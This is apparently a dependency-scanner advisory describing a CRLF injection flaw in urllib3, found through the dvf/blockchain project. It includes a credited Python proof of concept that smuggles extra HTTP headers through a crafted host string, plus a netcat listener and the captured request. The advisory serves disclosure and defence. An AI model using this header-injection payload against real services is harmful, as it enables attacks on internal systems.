CRLF injection
CRLF injection Vulnerable module: urllib3 Introduced through: [email protected] Detailed paths Introduced through: dvf/blockchain@dvf/blockchain#1369cac2094d36e694da1209d7d4f923264f7f50 › [email protected] › [email protected] Overview urllib3 is an HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to CRLF injection. Attacker who has the control of the requesting address parameter, could manipulate an HTTP header and attack an internal service.
PoC by ragdoll and Alvin Chang
import urllib3
pool_manager = urllib3.PoolManager()
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123" url = "http://" + host + ":8080/test/?test=a"
try: info = pool_manager.request('GET', url).info() print(info) except Exception: pass
nc -l localhost 7777
GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Host: localhost:7777 Accept-Encoding: identity The nc server will display the HTTP request with a manipulated header content: X-injected:header, indicating a successful injection of the HTTP header.
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